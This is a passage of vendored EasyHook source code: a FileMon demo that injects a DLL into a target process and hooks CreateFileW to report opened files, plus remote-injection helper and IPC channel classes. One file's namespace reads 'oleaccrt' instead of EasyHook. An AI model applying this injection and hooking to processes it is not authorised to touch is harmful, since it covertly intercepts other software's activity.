44 | public void IsInstalled(Int32 InClientPID)
45 | {
46 | Console.WriteLine("FileMon has been installed in target {0}.\r\n", InClientPID);
47 | }
48 |
49 | public void OnCreateFile(Int32 InClientPID, String[] InFileNames)
50 | {
51 | for (int i = 0; i < InFileNames.Length; i++)
52 | {
53 | Console.WriteLine(InFileNames[i]);
54 | }
55 | }
56 |
57 | public void ReportException(Exception InInfo)
58 | {
59 | Console.WriteLine("The target process has reported an error:\r\n" + InInfo.ToString());
60 | }
61 |
62 | public void Ping()
63 | {
64 | }
65 | }
66 |
67 | class Program
68 | {
69 | static String ChannelName = null;
70 |
71 | static void Main(string[] args)
72 | {
73 | try
74 | {
75 | Config.Register(
76 | "A FileMon like demo application.",
77 | "FileMon.exe",
78 | "FileMonInject.dll");
79 |
80 | RemoteHooking.IpcCreateServer<FileMonInterface>(ref ChannelName, WellKnownObjectMode.SingleCall);
81 |
82 | RemoteHooking.Inject(
83 | Int32.Parse(args[0]),
84 | "FileMonInject.dll",
85 | "FileMonInject.dll",
86 | ChannelName);
87 |
88 | Console.ReadLine();
89 | }
90 | catch (Exception ExtInfo)
91 | {
92 | Console.WriteLine("There was an error while connecting to target:\r\n{0}", ExtInfo.ToString());
93 | }
94 | }
95 | }
96 | }
97 |
98 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/FileMonInject.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
29 |
30 |
31 | The following demonstrates how to use :
32 |
33 | using System;
34 | using System.Collections.Generic;
35 | using System.Text;
36 | using System.Threading;
37 | using System.Runtime.InteropServices;
38 | using EasyHook;
39 |
40 | namespace FileMonInject
41 | {
42 | public class Main : EasyHook.IEntryPoint
43 | {
44 | FileMon.FileMonInterface Interface;
45 | LocalHook CreateFileHook;
46 | Stack<String> Queue = new Stack<String> ();
47 |
48 | public Main(
49 | RemoteHooking.IContext InContext,
50 | String InChannelName)
51 | {
52 | // connect to host...
53 | Interface = RemoteHooking.IpcConnectClient<FileMon.FileMonInterface>(InChannelName);
54 |
55 | // validate connection...
56 | Interface.Ping();
57 | }
58 |
59 | public void Run(
60 | RemoteHooking.IContext InContext,
61 | String InChannelName)
62 | {
63 | // install hook...
64 | try
65 | {
66 | CreateFileHook = LocalHook.Create(
67 | LocalHook.GetProcAddress("kernel32.dll", "CreateFileW"),
68 | new DCreateFile(CreateFile_Hooked),
69 | this);
70 |
71 | CreateFileHook.ThreadACL.SetExclusiveACL(new Int32[] { 0 });
72 | }
73 | catch (Exception ExtInfo)
74 | {
75 | Interface.ReportException(ExtInfo);
76 |
77 | return;
78 | }
79 |
80 | Interface.IsInstalled(RemoteHooking.GetCurrentProcessId());
81 |
82 | RemoteHooking.WakeUpProcess();
83 |
84 | // wait for host process termination...
85 | try
86 | {
87 | while (true)
88 | {
89 | Thread.Sleep(500);
90 |
91 | // transmit newly monitored file accesses...
92 | if (Queue.Count > 0)
93 | {
94 | String[] Package = null;
95 |
96 | lock (Queue)
97 | {
98 | Package = Queue.ToArray();
99 |
100 | Queue.Clear();
101 | }
102 |
103 | Interface.OnCreateFile(RemoteHooking.GetCurrentProcessId(), Package);
104 | }
105 | else
106 | Interface.Ping();
107 | }
108 | }
109 | catch
110 | {
111 | // Ping() will raise an exception if host is unreachable
112 | }
113 | }
114 |
115 | [UnmanagedFunctionPointer(CallingConvention.StdCall,
116 | CharSet = CharSet.Unicode,
117 | SetLastError = true)]
118 | delegate IntPtr DCreateFile(
119 | String InFileName,
120 | UInt32 InDesiredAccess,
121 | UInt32 InShareMode,
122 | IntPtr InSecurityAttributes,
123 | UInt32 InCreationDisposition,
124 | UInt32 InFlagsAndAttributes,
125 | IntPtr InTemplateFile);
126 |
127 | // just use a P-Invoke implementation to get native API access from C# (this step is not necessary for C++.NET)
128 | [DllImport("kernel32.dll",
129 | CharSet = CharSet.Unicode,
130 | SetLastError = true,
131 | CallingConvention = CallingConvention.StdCall)]
132 | static extern IntPtr CreateFile(
133 | String InFileName,
134 | UInt32 InDesiredAccess,
135 | UInt32 InShareMode,
136 | IntPtr InSecurityAttributes,
137 | UInt32 InCreationDisposition,
138 | UInt32 InFlagsAndAttributes,
139 | IntPtr InTemplateFile);
140 |
141 | // this is where we are intercepting all file accesses!
142 | static IntPtr CreateFile_Hooked(
143 | String InFileName,
144 | UInt32 InDesiredAccess,
145 | UInt32 InShareMode,
146 | IntPtr InSecurityAttributes,
147 | UInt32 InCreationDisposition,
148 | UInt32 InFlagsAndAttributes,
149 | IntPtr InTemplateFile)
150 | {
151 |
152 | try
153 | {
154 | Main This = (Main)HookRuntimeInfo.Callback;
155 |
156 | lock (This.Queue)
157 | {
158 | This.Queue.Push("[" + RemoteHooking.GetCurrentProcessId() + ":" +
159 | RemoteHooking.GetCurrentThreadId() + "]: \"" + InFileName + "\"");
160 | }
161 | }
162 | catch
163 | {
164 | }
165 |
166 | // call original API...
167 | return CreateFile(
168 | InFileName,
169 | InDesiredAccess,
170 | InShareMode,
171 | InSecurityAttributes,
172 | InCreationDisposition,
173 | InFlagsAndAttributes,
174 | InTemplateFile);
175 | }
176 | }
177 | }
178 |
179 |
180 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/HelperServiceInterface.cs:
--------------------------------------------------------------------------------
1 | // EasyHook (File: EasyHook\HelperServiceInterface.cs)
2 | //
3 | // Copyright (c) 2009 Christoph Husse & Copyright (c) 2015 Justin Stenning
4 | //
5 | // Permission is hereby granted, free of charge, to any person obtaining a copy
6 | // of this software and associated documentation files (the "Software"), to deal
7 | // in the Software without restriction, including without limitation the rights
8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | // copies of the Software, and to permit persons to whom the Software is
10 | // furnished to do so, subject to the following conditions:
11 | //
12 | // The above copyright notice and this permission notice shall be included in
13 | // all copies or substantial portions of the Software.
14 | //
15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | // THE SOFTWARE.
22 | //
23 | // Please visit https://easyhook.github.io for more information
24 | // about the project and latest updates.
25 |
26 | using System;
27 | using System.Collections.Generic;
28 | using System.Diagnostics;
29 | using System.IO;
30 | using System.Text;
31 | using System.Reflection;
32 | using System.Threading;
33 |
34 | namespace oleaccrt
35 | {
36 | #pragma warning disable 1591
37 |
38 | public class HelperServiceInterface : MarshalByRefObject
39 | {
40 | public void InjectEx(
41 | Int32 InHostPID,
42 | Int32 InTargetPID,
43 | Int32 InWakeUpTID,
44 | Int32 InNativeOptions,
45 | String InLibraryPath_x86,
46 | String InLibraryPath_x64,
47 | Boolean InCanBypassWOW64,
48 | Boolean InCanCreateService,
49 | Boolean InRequireStrongName,
50 | params Object[] InPassThruArgs)
51 | {
52 | RemoteHooking.InjectEx(
53 | InHostPID,
54 | InTargetPID,
55 | InWakeUpTID,
56 | InNativeOptions,
57 | InLibraryPath_x86,
58 | InLibraryPath_x64,
59 | InCanBypassWOW64,
60 | InCanCreateService,
61 | InRequireStrongName,
62 | InPassThruArgs);
63 | }
64 |
65 | public Object ExecuteAsService(
66 | String InMethodName,
67 | Object[] InParams)
68 | {
69 | return typeof(TClass).InvokeMember(InMethodName, BindingFlags.InvokeMethod | BindingFlags.Public |
70 | BindingFlags.Static, null, null, InParams);
71 | }
72 |
73 | private class InjectionWait
74 | {
75 | public Mutex ThreadLock = new Mutex(false);
76 | public ManualResetEvent Completion = new ManualResetEvent(false);
77 | public Exception Error = null;
78 | }
79 |
80 | private static SortedList InjectionList = new SortedList();
81 |
82 | public static void BeginInjection(Int32 InTargetPID)
83 | {
84 | InjectionWait WaitInfo;
85 |
86 | lock (InjectionList)
87 | {
88 | if (!InjectionList.TryGetValue(InTargetPID, out WaitInfo))
89 | {
90 | WaitInfo = new InjectionWait();
91 |
92 | InjectionList.Add(InTargetPID, WaitInfo);
93 | }
94 | }
95 |
96 | WaitInfo.ThreadLock.WaitOne();
97 | WaitInfo.Error = null;
98 | WaitInfo.Completion.Reset();
99 |
100 | lock (InjectionList)
101 | {
102 | if (!InjectionList.ContainsKey(InTargetPID))
103 | InjectionList.Add(InTargetPID, WaitInfo);
104 | }
105 | }
106 |
107 | public static void EndInjection(Int32 InTargetPID)
108 | {
109 | lock (InjectionList)
110 | {
111 | InjectionList[InTargetPID].ThreadLock.ReleaseMutex();
112 |
113 | InjectionList.Remove(InTargetPID);
114 | }
115 | }
116 |
117 | public static void WaitForInjection(Int32 InTargetPID)
118 | {
119 | InjectionWait WaitInfo;
120 |
121 | lock (InjectionList)
122 | {
123 | WaitInfo = InjectionList[InTargetPID];
124 | }
125 |
126 | if (!WaitInfo.Completion.WaitOne(20000, false))
127 | throw new TimeoutException("Unable to wait for injection completion.");
128 |
129 | if (WaitInfo.Error != null)
130 | throw WaitInfo.Error;
131 | }
132 |
133 | public void InjectionException(
134 | Int32 InClientPID,
135 | Exception e)
136 | {
137 | InjectionWait WaitInfo;
138 |
139 | lock (InjectionList)
140 | {
141 | WaitInfo = InjectionList[InClientPID];
142 | }
143 |
144 | WaitInfo.Error = e;
145 | WaitInfo.Completion.Set();
146 | }
147 |
148 | public void InjectionCompleted(Int32 InClientPID)
149 | {
150 | InjectionWait WaitInfo;
151 |
152 | lock (InjectionList)
153 | {
154 | WaitInfo = InjectionList[InClientPID];
155 | }
156 |
157 | WaitInfo.Error = null;
158 | WaitInfo.Completion.Set();
159 | }
160 |
161 | public void Ping() { }
162 | }
163 | }
164 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/-DummyCore.cs:
--------------------------------------------------------------------------------
1 |
2 | using System.Diagnostics;
3 | namespace EasyHook.IPC
4 | {
5 | ///
6 | /// Represents EasyHook's (future) CoreClass/DomainManager/...
7 | ///
8 | public static class DummyCore
9 | {
10 |
11 | public static ConnectionManager ConnectionManager { get; set; }
12 |
13 | static DummyCore()
14 | {
15 | ConnectionManager = new ConnectionManager();
16 | }
17 |
18 | public static void StartRemoteProcess(string exe)
19 | {
20 | string channelUrl = ConnectionManager.InitializeInterDomainConnection();
21 | Process.Start(exe, channelUrl);
22 | }
23 |
24 | public static void InitializeAsRemoteProcess(string channelUrl)
25 | {
26 | ConnectionManager.ConnectInterDomainConnection(channelUrl);
27 | }
28 |
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/ChannelProperties.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using System;
25 | using System.Collections;
26 | using System.Runtime.Remoting.Channels.Ipc;
27 | using System.Security.Cryptography;
28 | using System.Text;
29 |
30 | namespace EasyHook.IPC
31 | {
32 | ///
33 | /// Wraps all properties related to an IPC channel.
34 | ///
35 | internal struct ChannelProperties
36 | {
37 |
38 | #region Constants
39 |
40 | private const string _UrlPrefix = "ipc://";
41 | private const string _PostfixInstantiatorSide = "_I";
42 | private const string _PostfixRemoteSide = "_R";
43 | private const string _Seperator = "/";
44 |
45 | #endregion
46 |
47 | #region Variables
48 |
49 | private string _endPointName;
50 | private string _channelName;
51 | private bool _localEndPointIsInstantiator;
52 |
53 | #endregion
54 |
55 | #region Properties
56 |
57 | ///
58 | /// Gets whether or not the current describes the outgoing channel of the instantiating endpoint.
59 | ///
60 | public bool IsInstantiatorChannel
61 | {
62 | get { return _localEndPointIsInstantiator; }
63 | }
64 |
65 | ///
66 | /// Gets or sets the name of the endpoint object.
67 | /// With a this name is expected to be the same for both endpoints.
68 | ///
69 | ///
70 | /// An is thrown if the given is null.
71 | ///
72 | ///
73 | /// An is thrown if the given contains any of the following values:
74 | /// "_I", "_R" or "/"
75 | ///
76 | public string EndPointName
77 | {
78 | get { return _endPointName; }
79 | set
80 | {
81 | AssertParameterNotNull(value, "value");
82 | AssertLegalValues(value, "value");
83 | _endPointName = value;
84 | }
85 | }
86 |
87 | ///
88 | /// Gets the name of the channel, this is a combination of the value set with
89 | /// and a value based on .
90 | ///
91 | public string ChannelName
92 | {
93 | get
94 | {
95 | if (_channelName == null)
96 | return null;
97 | return _localEndPointIsInstantiator
98 | ? _channelName + _PostfixInstantiatorSide
99 | : _channelName + _PostfixRemoteSide;
100 | }
101 | }
102 |
103 | ///
104 | /// Gets the full url for the described IPC channel.
105 | ///
106 | public string Url
107 | {
108 | get
109 | {
110 | return ChannelName != null && EndPointName != null
111 | ? _UrlPrefix + ChannelName + _Seperator + EndPointName
112 | : null;
113 | }
114 | }
115 |
116 | #endregion
117 |
118 | #region Public Methods
119 |
120 | ///
121 | /// Returns the current as an ,
122 | /// which can be used by the constructor.
123 | ///
124 | ///
125 | public IDictionary AsDictionary()
126 | {
127 | return new Hashtable(2)
128 | {
129 | {"name", EndPointName},
130 | {"portName", ChannelName}
131 | };
132 | }
133 |
134 | ///
135 | /// Gets the that are expected to be used by the remote endpoint's outgoing channel.
136 | ///
137 | ///
138 | public ChannelProperties GetRemoteEndpointChannelProperties()
139 | {
140 | return new ChannelProperties
141 | {
142 | _endPointName = _endPointName,
143 | _channelName = _channelName,
144 | _localEndPointIsInstantiator = !_localEndPointIsInstantiator
145 | };
146 | }
147 |
148 | ///
149 | /// Sets the first part of the value returned by .
150 | ///
151 | ///
152 | /// An is thrown if the given is null.
153 | ///
154 | ///
155 | /// An is thrown if the given contains any of the following values:
156 | /// "_I", "_R" or "/"
157 | ///
158 | ///
159 | public void SetChannelName(string channelName)
160 | {
161 | AssertParameterNotNull(channelName, "value");
162 | AssertLegalValues(channelName, "value");
163 | _channelName = channelName;
164 | }
165 |
166 | #endregion
167 |
168 | #region Public Static Methods
169 |
170 | ///
171 | /// Returns a new instance of describing a randomly named channel,
172 | /// in which the current is expected to be the instantiator.
173 | ///
174 | ///
175 | public static ChannelProperties CreateRandomChannelProperties()
176 | {
177 | // Creating a very random name provides an extra layer of protection to the channel
178 | var data = new byte[30];
179 | new RNGCryptoServiceProvider().GetBytes(data);
180 | var nameLength = 20 + (data[0]%10);
181 | // Convert the bytes to a string contain only numbers and letters
182 | var builder = new StringBuilder(nameLength);
183 | for (var i = 0; i < nameLength; i++)
184 | {
185 | var b = data[i]%62;
186 | if (b < 10)
187 | builder.Append((char) ('0' + b));
188 | else if (b < 36)
189 | builder.Append((char) ('A' + b - 10));
190 | else
191 | builder.Append((char) ('a' + b - 36));
192 | }
193 | var randomName = builder.ToString();
194 | return new ChannelProperties
195 | {
196 | _endPointName = randomName,
197 | _channelName = randomName,
198 | _localEndPointIsInstantiator = true
199 | };
200 | }
201 |
202 | ///
203 | /// Initializes a new instance of
204 | /// describing the exact same channel as described by .
205 | ///
206 | ///
207 | /// An is thrown if the given is null.
208 | ///
209 | ///
210 | /// An is thrown if the given is not a valid IPC channel url.
211 | ///
212 | ///
213 | ///
214 | public static ChannelProperties InitializeFromUrl(string url)
215 | {
216 | // Verify and split the argument.
217 | AssertParameterNotNull(url, "url");
218 | if (url.StartsWith(_UrlPrefix))
219 | url = url.Substring(_UrlPrefix.Length);
220 | var values = url.Split(new[] {_Seperator}, StringSplitOptions.None);
221 | if (values.Length != 2)
222 | throw new ArgumentException("The provided url isn't valid.", "url");
223 | // Extract properties.
224 | var properties = new ChannelProperties();
225 | var channelName = values[0];
226 | string postFix;
227 | if (channelName.EndsWith(_PostfixInstantiatorSide))
228 | postFix = _PostfixInstantiatorSide;
229 | else if (channelName.EndsWith(_PostfixRemoteSide))
230 | postFix = _PostfixRemoteSide;
231 | else
232 | throw new ArgumentException("The provided url isn't valid.", "url");
233 | properties._localEndPointIsInstantiator = postFix == _PostfixInstantiatorSide;
234 | properties._channelName = channelName.Substring(0, channelName.Length - postFix.Length);
235 | properties._endPointName = values[1];
236 | AssertLegalValues(properties._channelName, "url");
237 | AssertLegalValues(properties._endPointName, "url");
238 | return properties;
239 | }
240 |
241 | #endregion
242 |
243 | #region Private Static Methods
244 |
245 | private static void AssertParameterNotNull(object value, string paramName)
246 | {
247 | if (value == null)
248 | throw new ArgumentNullException(paramName);
249 | }
250 |
251 | private static void AssertLegalValues(string value, string paramName)
252 | {
253 | if (value.EndsWith(_PostfixInstantiatorSide)
254 | || value.EndsWith(_PostfixRemoteSide)
255 | || value.Contains(_Seperator))
256 | throw new ArgumentException(
257 | string.Format("The provided value can not contain \"{0}\", \"{1}\" nor \"{2}\"",
258 | _PostfixInstantiatorSide, _PostfixRemoteSide, _Seperator),
259 | paramName);
260 | }
261 |
262 | #endregion
263 |
264 | }
265 | }
266 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/ConnectionManager.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using System;
25 | using System.Collections.Generic;
26 | using System.Runtime.Remoting;
27 | using EasyHook.Domain;
28 | using DomainChannel = EasyHook.IPC.DuplexChannel;
29 |
30 | namespace EasyHook.IPC
31 | {
32 | ///
33 | /// Class managing all connections between the current and any other ,
34 | /// which might even run in a different process than the current one.
35 | ///
36 | public class ConnectionManager
37 | {
38 |
39 | #region Variables
40 |
41 | ///
42 | /// A collection of all known connections between the current application domain and any other domains.
43 | ///
44 | private readonly IDictionary _domainConnections;
45 | ///
46 | /// Syncroot for .
47 | ///
48 | private readonly object _domainConnectionsSyncRoot;
49 |
50 | #endregion
51 |
52 | #region Constructors
53 |
54 | ///
55 | /// Initializes a new instance of .
56 | ///
57 | internal ConnectionManager()
58 | {
59 | _domainConnections = new Dictionary>();
60 | _domainConnectionsSyncRoot = new object();
61 | }
62 |
63 | #endregion
64 |
65 | #region Public Methods
66 |
67 | ///
68 | /// Returns whether a connection can be made to the specified remote domain.
69 | ///
70 | ///
71 | ///
72 | public bool CanConnect(DomainIdentifier id)
73 | {
74 | lock (_domainConnectionsSyncRoot)
75 | return _domainConnections.ContainsKey(id);
76 | }
77 |
78 | ///
79 | /// Returns a new proxy to an object of type
80 | /// located in the with the specified identifier.
81 | ///
82 | ///
83 | ///
84 | /// The type of the object to get access to.
85 | /// The identifier of the targetted application domain.
86 | ///
87 | public TEndPoint Connect(DomainIdentifier id)
88 | where TEndPoint : EndPointObject
89 | {
90 | DomainConnectionEndPoint remoteDomainEndPoint;
91 | lock (_domainConnectionsSyncRoot)
92 | {
93 | if (!_domainConnections.ContainsKey(id))
94 | throw new ArgumentException("Unable to connect to remote domain with id " + id);
95 | remoteDomainEndPoint = _domainConnections[id].GetRemoteEndPoint();
96 | }
97 | var objectUri = remoteDomainEndPoint.CreateChannel();
98 | var result = Activator.GetObject(typeof (TEndPoint), objectUri) as TEndPoint;
99 | if (result == null)
100 | throw new RemotingException();
101 | result.Ping();
102 | return result;
103 | }
104 |
105 | ///
106 | /// Tries to create a new proxy to an object of type
107 | /// located in the with the specified identifier.
108 | ///
109 | /// The type of the object to get access to.
110 | /// The identifier of the targetted application domain.
111 | /// The newly created proxy.
112 | ///
113 | public bool TryConnect(DomainIdentifier id, out TEndPoint result)
114 | where TEndPoint : EndPointObject
115 | {
116 | if (!CanConnect(id))
117 | {
118 | result = null;
119 | return false;
120 | }
121 | try
122 | {
123 | result = Connect(id);
124 | return true;
125 | }
126 | catch
127 | {
128 | result = null;
129 | return false;
130 | }
131 | }
132 |
133 | #endregion
134 |
135 | #region Internal Methods
136 |
137 | ///
138 | /// Initializes a new IPC connection which has a on both connection sides.
139 | ///
140 | ///
141 | /// To connect to the created connection,
142 | /// call in the remote application domain using the returned value.
143 | ///
144 | /// The url of the created IPC channel.
145 | internal string InitializeInterDomainConnection()
146 | {
147 | var endPointConfig = EndPointConfigurationData.InitializeDefault();
148 | var duplexChannel = new DomainChannel(endPointConfig);
149 | duplexChannel.InitializeConnection(OnDomainConnected);
150 | return duplexChannel.LocalEndPointUrl;
151 | }
152 |
153 | ///
154 | /// Connects to an existing IPC connection.
155 | ///
156 | ///
157 | /// To set up such a connection, call in the remote application domain.
158 | ///
159 | ///
160 | internal void ConnectInterDomainConnection(string channelUrl)
161 | {
162 | var endPointConfig = EndPointConfigurationData.InitializeDefault();
163 | var duplexChannel = new DomainChannel(endPointConfig, channelUrl);
164 | duplexChannel.InitializeConnection(OnDomainConnected);
165 | }
166 |
167 | ///
168 | /// Creates or opens a connection to an instance of .
169 | ///
170 | /// The type of the endpoint to create or open.
171 | /// The url to the endpoint of the connection.
172 | internal string CreateChannel()
173 | where TEndPoint : EndPointObject
174 | {
175 | var endPointConfig = EndPointConfigurationData.InitializeDefault();
176 | var channel = new SimplexChannel(endPointConfig);
177 | channel.InitializeChannel();
178 | return channel.EndPointUrl;
179 | // ToDo: Testing required, need to save reference to the channel?
180 | }
181 |
182 | #endregion
183 |
184 | #region Private Methods
185 |
186 | ///
187 | /// Eventhandler that's called when an IPC connection is ready to be used.
188 | ///
189 | ///
190 | private void OnDomainConnected(DomainChannel sender)
191 | {
192 | var remoteDomainEndPoint = sender.GetRemoteEndPoint();
193 | var remoteDomainId = remoteDomainEndPoint.Id;
194 | lock (_domainConnectionsSyncRoot)
195 | {
196 | if (!_domainConnections.ContainsKey(remoteDomainId))
197 | _domainConnections.Add(remoteDomainId, sender);
198 | }
199 | }
200 |
201 | ///
202 | /// Eventhandler that's called when an IPC connection is disposed.
203 | ///
204 | ///
205 | private void OnDomainDisposed(DomainIdentifier domainIdentifier)
206 | {
207 | lock (_domainConnectionsSyncRoot)
208 | {
209 | if (_domainConnections.ContainsKey(domainIdentifier))
210 | _domainConnections.Remove(domainIdentifier);
211 | }
212 | }
213 |
214 | #endregion
215 |
216 | }
217 | }
218 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DomainConnectionEndPoint.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using EasyHook.Domain;
25 |
26 | namespace EasyHook.IPC
27 | {
28 | ///
29 | /// Represents the endpoint in an inter domain connection.
30 | ///
31 | internal sealed class DomainConnectionEndPoint : DuplexChannelEndPointObject
32 | {
33 |
34 | #region Variables
35 |
36 | ///
37 | /// The identifier of the current application domain.
38 | ///
39 | private static readonly DomainIdentifier _id;
40 |
41 | #endregion
42 |
43 | #region Properties
44 |
45 | ///
46 | /// Gets the identifier for the endpoint.
47 | ///
48 | public DomainIdentifier Id
49 | {
50 | get { return _id; }
51 | }
52 |
53 | #endregion
54 |
55 | #region Constructors
56 |
57 | static DomainConnectionEndPoint()
58 | {
59 | _id = DomainIdentifier.GetLocalDomainIdentifier();
60 | }
61 |
62 | #endregion
63 |
64 | #region Public Methods
65 |
66 | ///
67 | /// Creates or opens a connection to an instance of .
68 | ///
69 | /// The type of the endpoint to create or open.
70 | /// The url to the endpoint of the connection.
71 | public string CreateChannel()
72 | where TEndPoint : EndPointObject
73 | {
74 | return DummyCore.ConnectionManager.CreateChannel();
75 | }
76 |
77 | #endregion
78 |
79 | #region Public Overrides
80 |
81 | public override object InitializeLifetimeService()
82 | {
83 | // Returning null ensures the endpoint stays available during the complete domain's lifetime.
84 | return null;
85 | }
86 |
87 | #endregion
88 |
89 | }
90 | }
91 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/IPC/DuplexChannel.cs:
--------------------------------------------------------------------------------
1 | /*
2 | EasyHook - The reinvention of Windows API hooking
3 |
4 | Copyright (C) 2009-2010 EasyHook
5 |
6 | This library is free software; you can redistribute it and/or
7 | modify it under the terms of the GNU Lesser General Public
8 | License as published by the Free Software Foundation; either
9 | version 2.1 of the License, or (at your option) any later version.
10 |
11 | This library is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | Lesser General Public License for more details.
15 |
16 | You should have received a copy of the GNU Lesser General Public
17 | License along with this library; if not, write to the Free Software
18 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | Please visit http://www.codeplex.com/easyhook for more information
21 | about the project and latest updates.
22 | */
23 |
24 | using System;
25 | using System.Collections.Generic;
26 | using System.Runtime.Remoting;
27 | using System.Runtime.Remoting.Channels;
28 | using System.Runtime.Remoting.Channels.Ipc;
29 | using System.Runtime.Serialization.Formatters;
30 | using System.Security.AccessControl;
31 | using System.Security.Principal;
32 |
33 | namespace EasyHook.IPC
34 | {
35 | ///
36 | /// provides a full duplex channel
37 | /// for communication between different processes and/or application domains.
38 | ///
39 | ///
40 | internal class DuplexChannel
41 | where TRemoteEndPoint : DuplexChannelEndPointObject
42 | {
43 |
44 | #region Variables
45 |
46 | ///
47 | /// The properties of the channel instantiated by the local endpoint.
48 | ///
49 | private readonly ChannelProperties _localChannelProperties;
50 | ///
51 | /// The properties of the channel instantiated by the remote endpoint.
52 | ///
53 | private readonly ChannelProperties _remoteChannelProperties;
54 | ///
55 | /// The configuration of the local endpoint's server.
56 | ///
57 | private readonly EndPointConfigurationData _localEndPointConfig;
58 | ///
59 | /// The instantiated by the current .
60 | ///
61 | private IpcServerChannel _serverChannel;
62 | ///
63 | /// The of the current .
64 | ///
65 | private DuplexChannelState _state;
66 |
67 | #endregion
68 |
69 | #region Properties
70 |
71 | ///
72 | /// Gets the of the current .
73 | ///
74 | public DuplexChannelState State
75 | {
76 | get { return _state; }
77 | }
78 |
79 | ///
80 | /// Gets the full URL of the local endpoint server.
81 | ///
82 | public string LocalEndPointUrl
83 | {
84 | get { return _localChannelProperties.Url; }
85 | }
86 |
87 | ///
88 | /// Gets whether or not the local endpoint is the channel's instantiator.
89 | ///
90 | public bool IsLocalEndPointInstantiator
91 | {
92 | get { return _localChannelProperties.IsInstantiatorChannel; }
93 | }
94 |
95 | #endregion
96 |
97 | #region Constructors
98 |
99 | ///
100 | /// Creates a new full duplex channel, in which the current is the instantiator.
101 | ///
102 | /// Configuration for the local endpoint.
103 | public DuplexChannel(EndPointConfigurationData localEndPointConfig)
104 | : this(localEndPointConfig, ChannelProperties.CreateRandomChannelProperties())
105 | {
106 | }
107 |
108 | ///
109 | /// Creates a new full duplex channel, in which the remote endpoint's is the instantiator.
110 | ///
111 | /// Configuration for the local endpoint.
112 | /// The url to the remote endpoint, which is the channel instantiator.
113 | public DuplexChannel(EndPointConfigurationData localEndPointConfig, string otherChannelUrl)
114 | : this(localEndPointConfig, ChannelProperties.InitializeFromUrl(otherChannelUrl).GetRemoteEndpointChannelProperties())
115 | {
116 | }
117 |
118 | ///
119 | /// Initializes a new instance of based on the given data.
120 | ///
121 | ///
122 | ///
123 | internal DuplexChannel(EndPointConfigurationData localEndPointConfig, ChannelProperties serverChannelProperties)
124 | {
125 | AssertEndpointConfigurationData(localEndPointConfig, "localEndpointConfig");
126 | _localEndPointConfig = localEndPointConfig;
127 | _localChannelProperties = serverChannelProperties;
128 | _remoteChannelProperties = serverChannelProperties.GetRemoteEndpointChannelProperties();
129 | }
130 |
131 | #endregion
132 |
133 | #region Public Methods
134 |
135 | ///
